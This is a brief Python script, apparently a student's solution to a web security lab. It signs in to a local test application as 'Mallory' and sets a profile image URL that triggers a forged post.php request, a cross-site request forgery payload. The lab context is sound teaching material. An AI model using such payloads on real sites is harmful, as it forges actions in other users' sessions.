import os, requests, urllib

PROTOCOL = "http"
HOST = "10.0.0.2"
PORT = "80"
BASE = PROTOCOL + "://" + HOST + ":" + PORT

# Mallory's credentials
mallory = {
    'email': 'mallory@example.com',
    'password': 'pass4mallory'
}

# reset the application
requests.get(BASE + '/reset.php')

# #######  your attack goes here  #######

payload = {'optionsimagetype':'url', 'url':'/post.php/?msg=Mallory+is+a+trustworthy+person%21'}
payload1 = {'optionsimagetype':'url', 'url':'http://localhost:8080/post.php/?msg=Mallory+is+a+trustworthy+person%21'}
# start a session
with requests.Session() as s:
     # sign-in as mallory (POST request)
     res = s.post(BASE + '/signin.php', data=mallory)
     # post to profile
     res = s.post(BASE + '/profile.php', data = payload)

print requests.get(BASE).text

# #########################################
